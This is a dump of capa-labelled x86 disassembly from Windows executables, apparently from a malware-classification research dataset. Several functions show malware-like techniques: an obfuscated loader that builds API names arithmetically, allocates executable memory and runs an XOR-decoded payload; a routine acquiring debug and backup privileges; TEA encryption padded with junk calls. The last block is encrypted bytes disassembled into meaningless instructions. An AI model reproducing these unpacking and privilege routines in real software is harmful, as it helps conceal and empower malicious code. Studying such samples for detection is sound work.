joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006540
Capabilities:
Get common file path

Disassembly:
sub esp, 0x804
mov eax, dword [0x1000d004]
xor eax, esp
mov dword [esp + 0x800], eax
push ebp
mov ebp, dword [esp + 0x80c]
lea eax, [esp + 0x204]
push esi
push edi
push 0x200
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x20c]
push 0x5c
push eax
call sub.VCRUNTIME140.dll_strrchr
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov esi, eax
add esp, 8
test esi, esi
je 0x100065db
push str.System
push esi
call edi
add esp, 8
test eax, eax
jne 0x100065ad
push str.System32
push esi
call edi
add esp, 8
test eax, eax
je 0x100065db
lea ecx, [esp + 0x20c]
mov byte [esi], 0
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100065b8
mov eax, dword [str.Fonts]
mov dword [ecx], eax
mov ax, word [0x10009b34]
mov word [ecx + 4], ax
mov al, byte [0x10009b36]
mov byte [ecx + 6], al
push 0x200
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100065f2
sub ecx, edx
cmp ecx, 0x1f9
jbe 0x10006609
mov byte [esp + 0xc], al
jmp 0x10006633
lea ecx, [esp + 0xc]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10006610
mov eax, dword [str.Fonts]
mov dword [ecx], eax
mov ax, word [0x10009b34]
mov word [ecx + 4], ax
mov al, byte [0x10009b36]
mov byte [ecx + 6], al
xor ecx, ecx
mov al, byte [esp + ecx + 0x20c]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x40b], al
test al, al
jne 0x10006635
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x210]
push eax
call edi
add esp, 8
test eax, eax
je 0x100066a8
lea edi, [esp + 0x40c]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10006668
mov ax, word [0x10009b38]
lea edx, [esp + 0xc]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10006681
lea edi, [esp + 0x40c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10006692
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x40c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100066b2
mov eax, dword [ebp]
sub esi, ecx
push esi
push ebp
mov eax, dword [eax + 0x2c0]
call eax
mov edi, eax
test edi, edi
je 0x10006709
mov eax, dword [ebp]
push ebx
push 0
push edi
mov eax, dword [eax + 0x2e0]
push ebp
call eax
mov ebx, eax
test ebx, ebx
je 0x10006706
push esi
lea eax, [esp + 0x414]
push eax
push ebx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp]
add esp, 0xc
mov eax, dword [eax + 0x300]
push 0
push ebx
push edi
push ebp
call eax
mov eax, edi
pop ebx
mov ecx, dword [esp + 0x80c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10007073
add esp, 0x804
ret 8
Function at 0x10006c80
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebp
push esi
push edi
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 4
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionFontLinkSystemLink
push 0x80000002
mov dword [esp + 0x28], 7
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10006dac
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x24]
push 0
push esi
mov eax, dword [edi]
push edi
mov eax, dword [eax + 0x294]
call eax
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push ebp
push dword [esp + 0x20]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x10006dac
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10006dac
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10006d33
mov eax, dword [edi]
push ebp
push esi
push edi
mov eax, dword [eax + 0x298]
call eax
push dword [esp + 0x10]
call dword [sym.imp.advapi32.dll_RegCloseKey]
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret 0xc
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x20]
push eax
push 0
push ebp
push dword [esp + 0x24]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov ecx, dword [edi]
mov esi, eax
push ebp
push dword [esp + 0x2c]
mov ecx, dword [ecx + 0x298]
push edi
call ecx
push dword [esp + 0x10]
call dword [sym.imp.advapi32.dll_RegCloseKey]
test esi, esi
je 0x10006d81
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x14]
mov ecx, dword [edi]
shr eax, 1
push eax
push ebx
mov eax, dword [ecx + 0x28c]
push edi
call eax
push ebx
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, esi
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xc
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret 0xc

Function at 0x10006dc0
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x1000d004]
xor eax, esp
mov dword [esp + 0x9c], eax
push edi
mov edi, dword [esp + 0xa8]
lea eax, [esp + 8]
push 0x98
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 4], 0x9c
lea eax, [esp + 4]
push eax
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
jne 0x10006e1d
pop edi
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.10007073
add esp, 0xa0
ret
cmp dword [esp + 8], 6
push esi
sbb esi, esi
and esi, 0xfffffffc
add esi, 0x1f8
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [edi], esi
push 0
push edi
push esi
push 0x29
call dword [sym.imp.user32.dll_SystemParametersInfoW]
mov ecx, dword [esp + 0xa4]
pop esi
pop edi
xor ecx, esp
call fcn.10007073
add esp, 0xa0
ret
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10007c2e
pop dword [ebp - 0x3c]
mov eax, 0x17a4f82d
sub eax, 0x7a47bff
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x7e898025
sub dword [ebp - 0x4c], 0x30373ada
mov dword [ebp - 0x48], 0x4de10105
sub dword [ebp - 0x48], 0x1badb4c0
mov dword [ebp - 0x44], 0xbea8997a
sub dword [ebp - 0x44], 0x725c554c
mov dword [ebp - 0x40], 0xfcb3bbd0
add dword [ebp - 0x40], 0x34c4430
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x7c17fb79
sub dword [ebp - 0x4c], 0x7a59223
mov dword [ebp - 0x48], 0x9e2b573
add dword [ebp - 0x48], 0x3789ac02
mov dword [ebp - 0x44], 0xa2839895
sub dword [ebp - 0x44], 0x3f142c29
mov dword [ebp - 0x40], 0x2eed73a8
add dword [ebp - 0x40], 0xd1128c58
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x336b6
push 0
call eax
mov ecx, 0x473b7495
add ecx, 0xb8c4c66d
mov edi, eax
mov ebx, 0x2675545f
add ebx, 0xe98ba5a1
add ebx, dword [ebp - 0x3c]
mov esi, 0x90156998
add dword [ebp - 0x24], 0x6fc76c3b
mov edx, dword [ebx]
xor dword [ebp - 0x18], edx
xor edx, esi
sub dword [ebp - 0x30], 0x78c6b39f
mov dword [edi], edx
add dword [ebp - 0x18], esi
add edi, 4
add ebx, 0x950d5779
add ebx, 0x6af2a88b
loop 0x10007d40
add eax, 0xe6fc6d1a
sub eax, 0xe6fb8e3f
xor ebx, ebx
add ebx, eax
add eax, 0xe10b6d80
sub eax, 0xe10b6d7b
mov ecx, 0x887bd99
add ecx, 0x7784267
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x52d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0052d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0052d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0052d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0052d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x52dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x52dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x53f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x52dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x52dc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401007
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x42d718]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x42d71c]
push edi
mov edi, dword [ebx]
xor ecx, ecx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x42d720]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [0x42d724]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
jmp 0x40105d
xor ecx, ecx
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x43c974], 0xc
mov dword [ebp - 4], eax
jne 0x401087
push ecx
lea eax, [ebp - 0x38]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x43c974]
cmp eax, 0xfa9
jne 0x4010a3
mov dword [0x43c970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c8
push str.xuzujamasahigomurefexob
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x43c8c8], 0
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x43c96c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
cmp dword [0x43c974], 0xb03
jne 0x401147
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40105b
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x4074df
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c88c]
jne 0x4074e9
repz ret
jmp fcn.0040b7af

Function at 0x40b19d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d28
and dword [ebp - 4], 0
cmp dword [0x431964], 0
mov ebx, eax
jne 0x40b24e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b2ff
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b2ff
push eax
call fcn.00405cb6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431964], eax
call esi
push eax
call fcn.00405cb6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431968], eax
call esi
push eax
call fcn.00405cb6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43196c], eax
call esi
push eax
call fcn.00405cb6
pop ecx
mov dword [0x431974], eax
test eax, eax
je 0x40b24e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405cb6
pop ecx
mov dword [0x431970], eax
mov eax, dword [0x431970]
cmp eax, ebx
je 0x40b2a6
cmp dword [0x431974], ebx
je 0x40b2a6
push eax
call fcn.00405d31
push dword [0x431974]
mov esi, eax
call fcn.00405d31
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b2a6
test edi, edi
je 0x40b2a6
call esi
test eax, eax
je 0x40b29d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b29d
test byte [ebp - 0xc], 1
jne 0x40b2a6
or dword [ebp + 0x10], 0x200000
jmp 0x40b2df
mov eax, dword [0x431968]
cmp eax, ebx
je 0x40b2df
push eax
call fcn.00405d31
pop ecx
test eax, eax
je 0x40b2df
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2df
mov eax, dword [0x43196c]
cmp eax, ebx
je 0x40b2df
push eax
call fcn.00405d31
pop ecx
test eax, eax
je 0x40b2df
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431964]
call fcn.00405d31
pop ecx
test eax, eax
je 0x40b2ff
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b301
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402413
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402452
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402452
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402452
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402452
cmp dword [ecx + 0x74], 0xe
jbe 0x402452
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408088
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408125
push ebx
push esi
call fcn.00408051
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407fe5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4080d2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408124
push edi
push eax
call fcn.004069eb
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4080f2
call fcn.00406a39
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408123
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407fe5
add esp, 0x20
test eax, eax
jne 0x408111
push edi
call fcn.00406a39
jmp 0x408119
push ebx
call fcn.00406a39
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409334
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x465ad0
push 0x465ac8
push str.FlsAlloc
push 0x1f
call fcn.004091f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409368
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
jmp 0x40936e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4093b2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x465ae0
push 0x465ad8
push str.FlsGetValue
push 0x21
call fcn.004091f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4093e9
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4093f1
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x465ae8
push 0x465ae0
push str.FlsSetValue
push 0x22
call fcn.004091f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40942b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x7b61b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.007b6140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.007b6140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.007b6140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.007b6140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x7b6bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7b6c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x7c887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x7b6c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x7b6c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401007
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4a9708]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4a970c]
push edi
mov edi, dword [ebx]
xor edx, edx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x4a9710]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [str.ci:]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x4b8954], 0xc
mov dword [ebp - 4], eax
jne 0x401085
push edx
lea eax, [ebp - 0x38]
push eax
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor edx, edx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x4b8954]
cmp eax, 0xfa9
jne 0x4010a1
mov dword [0x4b8950], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c2
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAllAccessesGranted]
and dword [0x4b88a8], 0
xor edx, edx
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [0x4b894c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x401059
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x408d0d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a9030]
jne 0x408d17
repz ret
jmp fcn.0040cfa2

Function at 0x40a11d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004055b8
and dword [ebp - 4], 0
cmp dword [0x4ad944], 0
mov ebx, eax
jne 0x40a1ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a27f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a27f
push eax
call fcn.00405546
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4ad944], eax
call esi
push eax
call fcn.00405546
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4ad948], eax
call esi
push eax
call fcn.00405546
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4ad94c], eax
call esi
push eax
call fcn.00405546
pop ecx
mov dword [0x4ad954], eax
test eax, eax
je 0x40a1ce
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405546
pop ecx
mov dword [0x4ad950], eax
mov eax, dword [0x4ad950]
cmp eax, ebx
je 0x40a226
cmp dword [0x4ad954], ebx
je 0x40a226
push eax
call fcn.004055c1
push dword [0x4ad954]
mov esi, eax
call fcn.004055c1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a226
test edi, edi
je 0x40a226
call esi
test eax, eax
je 0x40a21d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a21d
test byte [ebp - 0xc], 1
jne 0x40a226
or dword [ebp + 0x10], 0x200000
jmp 0x40a25f
mov eax, dword [0x4ad948]
cmp eax, ebx
je 0x40a25f
push eax
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a25f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a25f
mov eax, dword [0x4ad94c]
cmp eax, ebx
je 0x40a25f
push eax
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a25f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4ad944]
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a27f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a281
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0xef5fc2
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0xef5fc8
pop ebp
sub ebp, 0x10
sub ebp, 0xaf5fb8
jmp 0xef5fde
mov eax, 0xaf5fb8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cd
mov edx, 0xf1f7a532
xor byte [eax], dl
inc eax
dec ecx
jne 0xef5ff5
jmp 0xef6008
mov ecx, 0xebbb9ff
xor dh, byte [edx]
xor dh, byte [ebx + 0x3232caf3]
xor dh, byte [ecx]
dec dword [edx + 0x32323234]
mov byte [edx], bl
xor dh, byte [edx]
xor al, ch
sal byte [ecx], 1
cli
mov ecx, 0x32323eb3
xor dh, byte [ecx]
mul dword [edx - 0x41]
push esi
push ss
into
mov ebx, 0x2e5a1636
ficom word [edx]
xor bl, byte [edx - 0x52]
inc ecx
mov esp, 0x161e3332
pop edx
nop
sub eax, 0x37da48dc
xor dh, byte [edx]
xor bl, bl
sbb al, 0x32
xor dh, byte [edx]
mov edi, 0xbbce1656
push ds
push ss
mov ecx, 0x3ab7b9de
xor dh, byte [edx]
xor bh, byte [ecx + 0x32323ea7]
xor bh, byte [ecx + 0x323222bf]
xor dh, bl
invalid